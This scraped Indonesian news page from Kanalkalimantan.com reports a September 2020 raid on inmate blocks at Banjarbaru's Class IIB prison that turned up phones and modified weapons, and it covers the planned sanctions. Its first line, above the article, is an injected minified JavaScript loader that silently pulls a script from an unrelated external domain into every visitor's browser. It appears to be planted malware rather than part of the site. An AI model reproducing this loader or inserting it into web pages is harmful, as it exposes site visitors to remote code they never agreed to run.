(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Razia Lapas Banjarbaru, Temukan 8 Unit HP hingga Sajam di Blok Hunian Napi


KANALKALIMANTAN.COM, BANJARBARU – Satuan operasi kepatuhan internal (Sat ops Patnal) di Lapas Kelas IIB Banjarbaru mengelar razia rutin terhadap seluruh isi blok hunian para narapidana, pada Kamis (3/9/2020) siang. Hasilnya, berbagai macam barang ilegal ditemukan oleh petugas.

Kegiatan yang berlangsung lebih dari satu jam tersebut, dipimpin langsung oleh Kepala Lapas Kelas IIB Banjarbaru, Amico Balalembang, dengan mengerahkan sebanyak 20 petugas. Razia ini dilakukan menyusul adanya laporan penyelundupan barang-barang ilegal di kamar para napi.

“Hasilnya kita mendapati beberapa barang ilegal seperti 8 unit handphone, 5 senjata tajam (sajam) modifikasi pinggang, charger, kipas angin maupun kabel,” kata Amico. Selanjutnya, pihak Lapas Banjarbaru segera melakukan pendataan terhadap kepemilikan barang-barang ilegal tersebut. Dalam hal ini, para napi yang kedepatan menyimpan barang ilegal tersebut akan dijatuhkan sanksi, baik itu sifat ringan ataupun berat.

“Contohnya, seperti kepemilikan handphone ini termasuk sanksi yang berat. Bisa dimasukan dalam sel isoalasi selama waktu tertentu antara 7-14 hari. Atau bisa juga pencabutan hak, berupa remisi dan hak integrasinya,” terang Amico.

Rencananya usai dilakukan pendataan, seluruh barang ilegal yang berhasil disita ini akan dimusnahkan. Razia ini akan dilakukan secara rutin dan identil di blok hunian napi lainnya.

Lantas, apa indikasi masuknya barang-barang ilegal tersebut? Dalam hal ini, Kepala Lapas Banjarbaru menyakini bahwa indikasi utamanya adalah lewat titipan di luar lapas. Mengingat, sampai saat ini Lapas Banjarbaru masih menerapkan pemeriksaan secara manual

“Terhadap temuan ini kedepannya, kami seluruh jajaran Lapas Banjarbaru akan lebih meningkatkan lagi pemeriksaan barang-barang yang masuk. Baik itu titipan maupun akses keluar masuknya petugas,” pungas Amico. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Cell


Al Ghifari

Recent Posts

Manasik Haji 2024 Ditutup, Ini Pesan Bupati Banjar untuk Jemaah Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah, menutup kegiatan Manasik Haji… Read More

43 menit ago

D’Bakso Hadir Manjakan Lidah Warga Palangkaraya dengan Ragam Menu Bakso

KANALKALIMANTAN.COM, PALANGKARAYA – Bakso merupakan kuliner yang sangat populer dan disukai masyarakat Indonesia. Kelezatan olahan… Read More

1 jam ago

Gelar Rembuk Stunting, Pj Bupati HSU Inginkan Pencegahan Gagal Tumbuh Anak Secara Bersama

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus berupaya mempercepat pencegahan dan penurunan… Read More

2 jam ago

153 Pelamar Calon PPK Pilkada di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin resmi menutup pendaftaran badan ad hoc… Read More

2 jam ago

Unjuk Rasa Mahasiswa Banjarmasin di Hari Buruh Sedunia

KANALKALIMANTAN.COM, BANJARMASIN - Memperingati Hari Buruh Sedunia atau May Day, puluhan mahasiswa dari Himpunan Mahasiswa… Read More

3 jam ago

Dialog Pekerja Pengusaha di Balai Kota, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru menggelar dialog serikat pengusaha dan serikat pekerja peringatan Hari… Read More

7 jam ago

This website uses cookies.